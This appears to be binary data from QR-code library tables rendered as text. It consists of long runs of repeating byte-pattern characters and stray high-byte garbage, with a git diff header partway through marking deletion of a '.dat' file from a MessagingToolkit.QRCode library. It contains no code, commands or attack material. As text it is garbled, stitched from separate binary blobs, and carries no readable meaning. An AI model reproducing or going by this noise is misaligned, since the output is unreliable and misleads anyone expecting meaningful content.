- - - -OPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787865656543212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -OPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -OPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!       - - - -OPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:7878787843434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -==>>??@@KJJIIHHG MLLKKJJItuuvvwwx ]\\[[ZZYdeeffgghcbbaa``_5566778844332211%%&&''((DDCCBBAA}}~~TTSSRRQQmmnnoopp++,,--..AABBCCDD GFFEEDDC !!""##$IHHGGFFExyyzz{{|YXXWWVVUhiijjkkl_^^]]\\[99::;;<<00//..--))**++,,@@??>>==PPOONNMMqqrrsstt//001122EEFFGGHH - - CBBAA@@?$%%&&''(EDDCCBBA|}}~~UTTSSRRQlmmnnoop[ZZYYSSR==>>??@@,,++**))--..//00<<;;::99 LLKKJJIIuuvvwwxx33445566IIJJKKLL - - ?>>==<;:())**++,A@@??>>=QPPOONNMpqqrrsst - - RQQPPOONAABBCCDD((''&&%%1122334488776655!!""##$$HHGGFFEEyyzz{{||77==>>??MMNNOOPP98776655,--..//0=<<;;::9 MLLKKJJItuuvvwwx NMMLLKKJEEFFGGHH$$##""!!5566778844332211%%&&''((DDCCBBAA}}~~@@AABBCC~~}}QQRRSSTT443322110112233498877665 !!""##$IHHGGFFExyyzz{{|JIIHHGGFIIJJKKLL 99::;;<<00//..--))**++,,@@??>>==DDEEFFGG||{{zzyyUUVVWWXX00//..--4556677854433221$%%&&''(EDDCCBBA|}}~~FEEDDCCB~~}}MMNNOOPP==>>??@@,,++**))--..//00<<;;::99HHIIJJKKxxwwvvuuYYZZ[[\\!!"",,++**))899::;;<100//..-())**++,A@@??>>=BAA@@??>||{{zzyyQQRRSSTT~~}}AABBCCDD((''&&%%1122334488776655LLMMNNOOttssrrqq]]^^__``##$$%%&&((''&&%%<==>>??@-,,++**),--..//0=<<;;::9 >==77665xxwwvvuuUUVVWWXX||{{zzyyEEFFGGHH$$##""!!5566778844332211PPQQRRSSppoonnmmaabbccdd''(())**$$##""!!~~}@AABBCCD)((''&&%0112233498877665 !!""##$54433221tsrqpoonYYZZ[[\\ xxwwvvuuIIJJKKLL 99::;;<<00//..--YYZZ[[\\llkkjjiieeffgghh++,,--.. }||{{zzyDEEFFGGH%$$##""!4556677854433221$%%&&''(100//..-nmmllkkj]]^^__`` - - ttssrrqqMMNNOOPP==>>??@@,,++**))]]^^__``hhggffeeiijjkkll//001122yxxwwvvuHIIJJKKL! 899::;;<100//..-())**++,-,,++**)jiihhggfaabbccddppoonnmmQQRRSSTT~~}}AABBCCDD((''&&%%aabbccddddccbbaammnnoopp33445566uttssrrqLMMNNOOP<==>>??@-,,++**),--..//0)((''&&%feeddccbeeffgghhllkkjjiiUUVVWWXX||{{zzyyEEFFGGHH$$##""!!eeffgghh``__^^]]qqrrsstt77==>>??qppoonnmPQQRRSST~~}@AABBCCD)((''&&%01122334%$$##""!baa``__^iijjkkllhhggffeeYYZZ[[\\ xxwwvvuuIIJJKKLL iijjkkll\\[[ZZYYuuvvwwxx@@AABBCC -mllkkjjiTUUVVWWX}||{{zzyDEEFFGGH%$$##""!45566778!^]]\\[[Zmmnnooppddccbbaa]]^^__`` - - ttssrrqqMMNNOOPP~~}}||mmnnoouuXXWWVVUUyyzz{{||DDEEFFGG - ihhggffeXYYZZ[[\ yxxwwvvuHIIJJKKL! 899::;;<ZYYXWVUTqqrrsstt - - ``__^^]]aabbccddppoonnmmQQRRSSTT{{zzyyxxvvwwxxyyTTSSRRQQ}}~~HHIIJJKKeddccbba\]]^^__` - - uttssrrqLMMNNOOP<==>>??@SSRRQQPPuuvvwwxx \\[[ZZYYeeffgghhllkkjjiiUUVVWWXXwwvvuuoozz{{||}}PPOONNMMLLMMNNOO - - a``__^^]`aabbccd qppoonnmPQQRRSST~~}@AABBCCD OONNMMLLyyzz{{||XXWWVVUUiijjkkllhhggffeeYYZZ[[\\ nnmmllkk~~LLKKJJIIPPQQRRSS ]\\[[ZZYdeeffgghmllkkjjiTUUVVWWX}||{{zzyDEEFFGGH - - KKJJIIHH}}~~TTSSRRQQmmnnooppddccbbaa]]^^__`` - - jjiihhggHHGGFFEEYYZZ[[\\YXXWWVVUhiijjkklihhggffeXYYZZ[[\ yxxwwvvuHIIJJKKLGGFFEEDDPPOONNMMqqrrsstt - - ``__^^]]aabbccddffeeddccDDCCBBAA]]^^__``UTTSSRRQlmmnnoopeddccbba\]]^^__` - - uttssrrqLMMNNOOP CCBBAA@@ LLKKJJIIuuvvwwxx \\[[ZZYYeeffgghhbbaa``__@@??>>==aabbccddQPPOONNMpqqrrsst - - a``__^^]`aabbccd qppoonnmPQQRRSST - - ??>>==<;!!""##$$HHGGFFEEyyzz{{||XXWWVVUUiijjkkll^^]]\\[[<<;;::99eeffgghh MLLKKJJItuuvvwwx ]\\[[ZZYdeeffgghmllkkjjiTUUVVWWX :9877665%%&&''((DDCCBBAA}}~~TTSSRRQQmmnnooppZZYYSSRR88776655iijjkkll !!""##$IHHGGFFExyyzz{{|YXXWWVVUhiijjkklihhggffeXYYZZ[[\54433221))**++,,@@??>>==PPOONNMMqqrrsstt - - QQPPOONN44332211mmnnoouu$%%&&''(EDDCCBBA|}}~~UTTSSRRQlmmnnoopeddccbba\]]^^__`100//..---..//00<<;;::99 LLKKJJIIuuvvwwxx MMLLKKJJ00//..--vvwwxxyy())**++,A@@??>>=QPPOONNMpqqrrsst - - a``__^^]`aabbccd!!"-,,++**)1122334488776655!!""##$$HHGGFFEEyyzz{{||IIHHGGFF,,++**))~~}}||zz{{||}},--..//0=<<;;::9 MLLKKJJItuuvvwwx ]\\[[ZZYdeeffggh"##$$%%&)((''&&%5566778844332211%%&&''((DDCCBBAA}}~~EEDDCCBB~~}}|((''&&%%{{zzyyxx~~0112233498877665 !!""##$IHHGGFFExyyzz{{|YXXWWVVUhiijjkkl&''(())*%$$##""!99::;;<<00//..--))**++,,@@??>>==AA@@??>>|{{zzyyx$$##""!!wwvvuuoo4556677854433221$%%&&''(EDDCCBBA|}}~~UTTSSRRQlmmnnoop*++,,--.! ==>>??@@,,++**))--..//00<<;;::99 ==776655xwwvvuut nnmmllkk899::;;<100//..-())**++,A@@??>>=QPPOONNMpqqrrsst.//00112~~}}AABBCCDD((''&&%%1122334488776655!!""##$$44332211srqpoonn jjiihhgg<==>>??@-,,++**),--..//0=<<;;::9 MLLKKJJItuuvvwwx23344556||{{zzyyEEFFGGHH$$##""!!5566778844332211%%&&''((00//..--mmllkkjjffeeddcc@AABBCCD)((''&&%0112233498877665 !!""##$IHHGGFFExyyzz{{|677==>>?xxwwvvuuIIJJKKLL 99::;;<<00//..--))**++,,,,++**))iihhggffbbaa``__DEEFFGGH%$$##""!4556677854433221$%%&&''(EDDCCBBA|}}~~?@@AABBC ttssrrqqMMNNOOPP==>>??@@,,++**))--..//00((''&&%%eeddccbb ^^]]\\[[HIIJJKKL! 899::;;<100//..-())**++,A@@??>>=CDDEEFFG - - ppoonnmmQQRRSSTT~~}}AABBCCDD((''&&%%11223344$$##""!!aa``__^^ - - - ZZYYSSRRLMMNNOOP<==>>??@-,,++**),--..//0=<<;;::9GHHIIJJKllkkjjiiUUVVWWXX||{{zzyyEEFFGGHH$$##""!!55667788]]\\[[ZZ -  - - QQPPOONNPQQRRSST~~}@AABBCCD)((''&&%0112233498877665KLLMMNNOhhggffeeYYZZ[[\\ xxwwvvuuIIJJKKLL 99::;;<<YYXWVUTS MMLLKKJJ~~}}|TUUVVWWX}||{{zzyDEEFFGGH%$$##""!4556677854433221OPPQQRRSddccbbaa]]^^__`` - - ttssrrqqMMNNOOPP==>>??@@SRRQQPPOIIHHGGFF|{{zzyyxXYYZZ[[\ yxxwwvvuHIIJJKKL! 899::;;<100//..-SYYZZ[[\ - - ``__^^]]aabbccddppoonnmmQQRRSSTT~~}}AABBCCDD ONNMMLLK EEDDCCBBxwwvvuut\]]^^__` - - uttssrrqLMMNNOOP<==>>??@-,,++**)\]]^^__` \\[[ZZYYeeffgghhllkkjjiiUUVVWWXX||{{zzyyEEFFGGHH - - KJJIIHHG - - AA@@??>>srqpoonn`aabbccd qppoonnmPQQRRSST~~}@AABBCCD)((''&&%`aabbccdXXWWVVUUiijjkkllhhggffeeYYZZ[[\\ xxwwvvuuIIJJKKLLGFFEEDDC  ==776655mmllkkjjdeeffgghmllkkjjiTUUVVWWX}||{{zzyDEEFFGGH%$$##""!deeffgghTTSSRRQQmmnnooppddccbbaa]]^^__`` - - ttssrrqqMMNNOOPP CBBAA@@?!!""##$$44332211iihhggffhiijjkklihhggffeXYYZZ[[\ yxxwwvvuHIIJJKKL! hiijjkklPPOONNMMqqrrsstt - - ``__^^]]aabbccddppoonnmmQQRRSSTT - - ?>>==<;:%%&&''((00//..--eeddccbblmmnnoopeddccbba\]]^^__` - - uttssrrqLMMNNOOP~~}}|lmmnnoou LLKKJJIIuuvvwwxx \\[[ZZYYeeffgghhllkkjjiiUUVVWWXX98776655))**++,,,,++**))aa``__^^pqqrrsst - - a``__^^]`aabbccd qppoonnmPQQRRSST|{{zzyyxuvvwwxxy!!""##$$HHGGFFEEyyzz{{||XXWWVVUUiijjkkllhhggffeeYYZZ[[\\44332211 !--..//00((''&&%%]]\\[[ZZtuuvvwwx ]\\[[ZZYdeeffgghmllkkjjiTUUVVWWXxwwvvuuoyzz{{||}%%&&''((DDCCBBAA}}~~TTSSRRQQmmnnooppddccbbaa]]^^__``00//..--!""##$$%11223344$$##""!!YYXWVUTSxyyzz{{|YXXWWVVUhiijjkklihhggffeXYYZZ[[\ onnmmllk}~~))**++,,@@??>>==PPOONNMMqqrrsstt - - ``__^^]]aabbccdd!!"",,++**))%&&''(()55667788SRRQQPPO|}}~~UTTSSRRQlmmnnoopeddccbba\]]^^__` - - kjjiihhg--..//00<<;;::99 LLKKJJIIuuvvwwxx \\[[ZZYYeeffgghh##$$%%&&((''&&%%)**++,,-99::;;<<ONNMMLLKQPPOONNMpqqrrsst - - a``__^^]`aabbccd gffeeddc1122334488776655!!""##$$HHGGFFEEyyzz{{||XXWWVVUUiijjkkll''(())**$$##""!!-..//0011223344587766554!""##$$%HGGFFEEDyzz{{||}XWWVVUUTijjkkllm'(())**+$##""!! ::;;<<==//..--,,**++,,--??>>==<<@@??>>=={zzyyxxwRSSTTUUV~~}}||{BCCDDEEF'&&%%$$#23344556IHHGGFFE5667788943322110%&&''(()DCCBBAA@}~~TSSRRQQPmnnooppq+,,--../>>??@@AA++**))((..//0011;;::9988 !!77665544wvvuutsrVWWXXYYZ{zzyyxxwFGGHHIIJ#""!! 6778899:EDDCCBBA9::;;<<=0//..--,)**++,,-@??>>==<POONNMMLqrrssttu/0011223~~}}||BBCCDDEE''&&%%$$2233445577665544""##$$%%33221100qpoonnmmZ[[\\]]^ wvvuuttsJKKLLMMN:;;<<==>A@@??>>==>>??@@A,++**))(-..//001<;;::998 !LKKJJIIHuvvwwxxy34455667{{zzyyxxFFGGHHII##""!! 6677889933221100&&''(())//..--,,llkkjjii^__``aab - - srrqqppoNOOPPQQR>??@@AAB =<<;;::9ABBCCDDE(''&&%%$1223344587766554!""##$$%HGGFFEEDyzz{{||}7==>>??@wwvvuuttJJKKLLMM::;;<<==//..--,,**++,,--++**))((hhggffeebccddeefonnmmllkRSSTTUUV~~}}||{BCCDDEEF - - -98877665EFFGGHHI$##""!! 5667788943322110%&&''(()DCCBBAA@}~~@AABBCCD - -ssrrqqppNNOOPPQQ>>??@@AA++**))((..//0011''&&%%$$ddccbbaafgghhiijkjjiihhgVWWXXYYZ{zzyyxxwFGGHHIIJ - 54433221IJJKKLLM 9::;;<<=0//..--,)**++,,-@??>>==>??@@A,++**))(-..//001<;;::998HIIJJKKLkkjjiihhVVWWXXYY{{zzyyxxFFGGHHII##""!! 66778899\\[[ZZYYnooppqqr -cbbaa``_^__``aab - - srrqqppoNOOPPQQR-,,++**)QRRSSTTU~~}}|ABBCCDDE(''&&%%$1223344587766554LMMNNOOPggffeeddZZ[[\\]] wwvvuuttJJKKLLMM::;;<<==XWVUTSSRrssttuuv - _^^]]\\[bccddeefonnmmllkRSSTTUUV)((''&&%UVVWWXXY|{{zzyyxEFFGGHHI$##""!! 5667788943322110PQQRRSSY ccbbaa``^^__``aa - - ssrrqqppNNOOPPQQ>>??@@AARQQPPOONvwwxxyyz[ZZYYXXWfgghhiijkjjiihhgVWWXXYYZ!!""#%$$##""!YZZ[[\\] xwwvvuutIJJKKLLM 9::;;<<=0//..--,YZZ[[\\] - - __^^]]\\bbccddeeoonnmmllRRSSTTUU~~}}||BBCCDDEE NMMLLKKJz{{||}}~WVVUUTTSjkkllmmngffeeddcZ[[\\]]^#$$%%&&'! ]^^__``a - - tssrrqqpMNNOOPPQ=>>??@@A,++**))(]^^__``a[[ZZYYXXffgghhiikkjjiihhVVWWXXYY{{zzyyxxFFGGHHII - - JIIHHGGF~SRRQQPPOnooppqqr -cbbaa``_^__``aab'(())**+abbccddepoonnmmlQRRSSTTU~~}}|ABBCCDDE(''&&%%$abbccddeWWVVUUTTjjkkllmmggffeeddZZ[[\\]] wwvvuuttJJKKLLMMFEEDDCCBONNMMLLKrssttuuv - _^^]]\\[bccddeef+,,--../effgghhilkkjjiihUVVWWXXY|{{zzyyxEFFGGHHI$##""!! effgghhiSSRRQQPPnnooppqq ccbbaa``^^__``aa - - ssrrqqppNNOOPPQQ - -BAA@@??> !!"KJJIIHHGvwwxxyyz[ZZYYXXWfgghhiij/0011223ijjkkllmhggffeedYZZ[[\\] xwwvvuutIJJKKLLM ijjkkllmOONNMMLLrrssttuu - - __^^]]\\bbccddeeoonnmmllRRSSTTUU >==<;:98"##$$%%&GFFEEDDCz{{||}}~WVVUUTTSjkkllmmn34455667 mnnooppq dccbbaa`]^^__``a - - tssrrqqpMNNOOPPQ~~}}||{mnnoouuv !!KKJJIIHHvvwwxxyy[[ZZYYXXffgghhiikkjjiihhVVWWXXYY77665544&''(())*CBBAA@@?~SRRQQPPOnooppqqr7==>>??@ - - qrrssttu - - `__^^]]\abbccddepoonnmmlQRRSSTTU{zzyyxxwvwwxxyyz""##$$%%GGFFEEDDzz{{||}}WWVVUUTTjjkkllmmggffeeddZZ[[\\]]33221100*++,,--.?>>==<<;ONNMMLLKrssttuuv@AABBCCD - - uvvwwxxy \[[ZZYYXeffgghhilkkjjiihUVVWWXXYwvvuuoonz{{||}}~&&''(())CCBBAA@@~~SSRRQQPPnnooppqq ccbbaa``^^__``aa//..--,,.//00112;::99887 !!"KJJIIHHGvwwxxyyzDEEFFGGH yzz{{||}XWWVVUUTijjkkllmhggffeedYZZ[[\\] nmmllkkj~**++,,--??>>==<<OONNMMLLrrssttuu - - __^^]]\\bbccddee!!""##++**))((2334455676655443"##$$%%&GFFEEDDCz{{||}}~HIIJJKKL}~~TSSRRQQPmnnooppq dccbbaa`]^^__``a - - jiihhggf..//0011;;::9988 !!KKJJIIHHvvwwxxyy[[ZZYYXXffgghhii$$%%&&''''&&%%$$6778899:3221100/&''(())*CBBAA@@?~LMMNNOOPPOONNMMLqrrssttu - - `__^^]]\abbccddefeeddccb2233445577665544""##$$%%GGFFEEDDzz{{||}}WWVVUUTTjjkkllmm(())**++##""!! :;;<<==>/..--,,+*++,,--.?>>==<<;PQQRRSSY !LKKJJIIHuvvwwxxy \[[ZZYYXeffgghhibaa``__^6677889933221100&&''(())CCBBAA@@~~SSRRQQPPnnooppqq,,--..//>??@@AAB+**))(('.//00112;::99887YZZ[[\\] !""##$$%HGGFFEEDyzz{{||}XWWVVUUTijjkkllm^]]\\[[Z::;;<<==//..--,,**++,,--??>>==<<OONNMMLLrrssttuu00112233~~}}||{BCCDDEEF'&&%%$$#2334455676655443]^^__``a !!""##$%&&''(()DCCBBAA@}~~TSSRRQQPmnnooppq ZYYSSRRQ>>??@@AA++**))((..//0011;;::9988 !!KKJJIIHHvvwwxxyy44556677{zzyyxxwFGGHHIIJ#""!! 6778899:3221100/abbccdde$%%&&''()**++,,-@??>>==<POONNMMLqrrssttu - - QPPOONNMBBCCDDEE''&&%%$$2233445577665544""##$$%%GGFFEEDDzz{{||}}==>>??@@ wvvuuttsJKKLLMMN:;;<<==>/..--,,+effgghhi())**++,-..//001<;;::998 !LKKJJIIHuvvwwxxy MLLKKJJIFFGGHHII##""!! 6677889933221100&&''(())CCBBAA@@~~AABBCCDD - - srrqqppoNOOPPQQR>??@@AAB+**))(('ijjkkllm,--..//01223344587766554!""##$$%HGGFFEEDyzz{{||}IHHGGFFEJJKKLLMM::;;<<==//..--,,**++,,--??>>==<>??@@AA++**))((..//0011;;::9988IIJJKKLLkjjiihhgVWWXXYYZ{zzyyxxwFGGHHIIJ#""!! vwwxxyyz455667789::;;<<=0//..--,)**++,,-@??>>==<A@@??>>={{zzyyxxRRSSTTUU~~}}||BBCCDDEE''&&%%$$2233445577665544MMNNOOPPgffeeddcZ[[\\]]^ wvvuuttsJKKLLMMN~~}}||{z{{||}}~899::;;<=>>??@@A,++**))(-..//001<;;::998 !=7766554wwvvuutsVVWWXXYY{{zzyyxxFFGGHHII##""!! 6677889933221100QQRRSSYY -cbbaa``_^__``aab - - srrqqppoNOOPPQQR{zzyyxxw~<==>>??@~~}}|ABBCCDDE(''&&%%$1223344587766554!""##$$%43322110rqpoonnmZZ[[\\]] wwvvuuttJJKKLLMM::;;<<==//..--,,ZZ[[\\]] - _^^]]\\[bccddeefonnmmllkRSSTTUUVwvvuuoon@AABBCCD|{{zzyyxEFFGGHHI$##""!! 5667788943322110%&&''(()0//..--,mllkkjji^^__``aa - - ssrrqqppNNOOPPQQ>>??@@AA++**))((^^__``aa[ZZYYXXWfgghhiijkjjiihhgVWWXXYYZnmmllkkjDEEFFGGHxwwvvuutIJJKKLLM 9::;;<<=0//..--,)**++,,-,++**))(ihhggffebbccddeeoonnmmllRRSSTTUU~~}}||BBCCDDEE''&&%%$$bbccddeeWVVUUTTSjkkllmmngffeeddcZ[[\\]]^ jiihhggfHIIJJKKLtssrrqqpMNNOOPPQ=>>??@@A,++**))(-..//001(''&&%%$eddccbbaffgghhiikkjjiihhVVWWXXYY{{zzyyxxFFGGHHII##""!! ffgghhiiSRRQQPPOnooppqqr -cbbaa``_^__``aab - - feeddccbLMMNNOOPpoonnmmlQRRSSTTU~~}}|ABBCCDDE(''&&%%$12233445$##""!!a``__^^]jjkkllmmggffeeddZZ[[\\]] wwvvuuttJJKKLLMMjjkkllmmONNMMLLKrssttuuv - _^^]]\\[bccddeefbaa``__^~~}PQQRRSSTlkkjjiihUVVWWXXY|{{zzyyxEFFGGHHI$##""!! 56677889]\\[[ZZYnnooppqq ccbbaa``^^__``aa - - ssrrqqppNNOOPPQQ~~}}||{{nnoouuvv !!"KJJIIHHGvwwxxyyz[ZZYYXXWfgghhiij^]]\\[[Z}||{{zzyTUUVVWWXhggffeedYZZ[[\\] xwwvvuutIJJKKLLM 9::;;<<=YXWVUTSSrrssttuu - - __^^]]\\bbccddeeoonnmmllRRSSTTUUzzyyxxwwwwxxyyzz"##$$%%&GFFEEDDCz{{||}}~WVVUUTTSjkkllmmnZYYSSRRQyxxwwvvuXYYZZ[[\dccbbaa`]^^__``a - - tssrrqqpMNNOOPPQ=>>??@@ARRQQPPOOvvwwxxyy[[ZZYYXXffgghhiikkjjiihhVVWWXXYYvvuuoonn{{||}}~~&''(())*CBBAA@@?~SRRQQPPOnooppqqr -QPPOONNMuttssrrq\]]^^__``__^^]]\abbccddepoonnmmlQRRSSTTU~~}}|ABBCCDDE NNMMLLKKzz{{||}}WWVVUUTTjjkkllmmggffeeddZZ[[\\]] mmllkkjj*++,,--.?>>==<<;ONNMMLLKrssttuuv - MLLKKJJIqppoonnm`aabbccd\[[ZZYYXeffgghhilkkjjiihUVVWWXXY|{{zzyyxEFFGGHHI - - JJIIHHGG~~SSRRQQPPnnooppqq ccbbaa``^^__``aa - - iihhggff.//00112;::99887 !!"KJJIIHHGvwwxxyyzIHHGGFFEmllkkjjideeffgghXWWVVUUTijjkkllmhggffeedYZZ[[\\] xwwvvuutIJJKKLLMFFEEDDCCOONNMMLLrrssttuu - - __^^]]\\bbccddeeeeddccbb2334455676655443"##$$%%&GFFEEDDCz{{||}}~EDDCCBBAihhggffehiijjkklTSSRRQQPmnnooppq dccbbaa`]^^__``a - - tssrrqqpMNNOOPPQ -BBAA@@?? !!KKJJIIHHvvwwxxyy[[ZZYYXXffgghhiiaa``__^^6778899:3221100/&''(())*CBBAA@@?~A@@??>>=eddccbbalmmnnoopPOONNMMLqrrssttu - - `__^^]]\abbccddepoonnmmlQRRSSTTU - >>==<;:9""##$$%%GGFFEEDDzz{{||}}WWVVUUTTjjkkllmm]]\\[[ZZ:;;<<==>/..--,,+*++,,--.?>>==<<;=7766554a``__^^]pqqrrsstLKKJJIIHuvvwwxxy \[[ZZYYXeffgghhilkkjjiihUVVWWXXY87766554&&''(())CCBBAA@@~~SSRRQQPPnnooppqq YYSSRRQQ>??@@AAB+**))(('.//00112;::99887 !!"43322110]\\[[ZZYtuuvvwwxHGGFFEEDyzz{{||}XWWVVUUTijjkkllmhggffeedYZZ[[\\]43322110**++,,--??>>==<<OONNMMLLrrssttuu - - PPOONNMMBCCDDEEF'&&%%$$#2334455676655443"##$$%%&0//..--,YXXWWVVUxyyzz{{|DCCBBAA@}~~TSSRRQQPmnnooppq dccbbaa`]^^__``a0//..--,..//0011;;::9988 !!KKJJIIHHvvwwxxyyLLKKJJIIFGGHHIIJ#""!! 6778899:3221100/&''(())*,++**))(UTTSSRRQ|}}~~@??>>==<POONN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|˂rXQdQZ|vpfHrd|pvn˂rXQvpfpZHAbJfpvrXQQZ|dvpfے`rd|vnXrXQvpfHQHAbXnvˍtbAdZ`JXQZdQbtQJ`ےdrtA~f`JXQrnXv`QJ`ےvpfHZHAbZdQbtJ`ےdrtAJ~f`ZdQbtXv`fJ`ےHf`˂pnvfJ`ےrtAJlJXQrZdQbtv`fJ`ے~f``JXQpfH~|drr˂plJtbHAZpJltvXnbtlf~HbHAZp~f``JXQlJfbHAZpltbvXnlJtA~HfbHAZpvXnZHAb~HfpbHAZpˑtbd˂pZHlJtA~HfpbHAZpvXnr˂pf۝`vQtJlZHAbArd|˂rXbdQZ|vpfHJtAd|fpv˂rXvXnr˂ppvn˂rXQdQZ|vpfHrd|pvn˂rXQvpfHے`JXQvnXrXQQZ|dAbے`rd|vnXrXQvpfHZHAbXnvˍtbAdZ`JXQZdQbtQJ`ےdrtA~f`ZdQbtnXv`QJ`ےvp`vXZHAbXv`fJ`ےdrtAJ~f`ZdQbtXv`fJ`ے~f`r˂pv`fJ`ےrtAJlJXQrZdQbtv`fJ`ےJl~f``JXQpfH~|drr˂plJtbHAZpJltvXnlJtf~HbHAZpnvp`JXQ~HfbHAZpltbvXnlJtA~HfbHAZpvXnZHAb~HfpbHAZpˑtbd˂pZHlJtA~HfptbdvXnr˂p`f۝`vQtJlt666666666666666666666666666667777777777777777777 \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv34_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv34_0.dat deleted file mode 100644 index 6904005..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv34_0.dat +++ /dev/null @@ -1,305 +0,0 @@ -}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWWWWWXWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvsssssstsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWWWWWXUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=<;<;<}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWXWXWXWVUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;;;;;;}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYUVUVUVUVUVUVUVUTSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@<;<;<;<;}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYUVUVUVUVSTSTSTSTSTSTSTSRQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@<;<;<;<;}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvtstsssssrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYXWXWUVUVUVUVSTSTSTSTQRQRQRQRQRQRQRQPOPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@<;<;<;<;}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWWWWWUVUVUVUVSTSTSTSTQRQRQRQROPOPOPOPOPOPOPONMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@<;<;<;<;}~}~}~}~{|{|{|{|yzyzyzy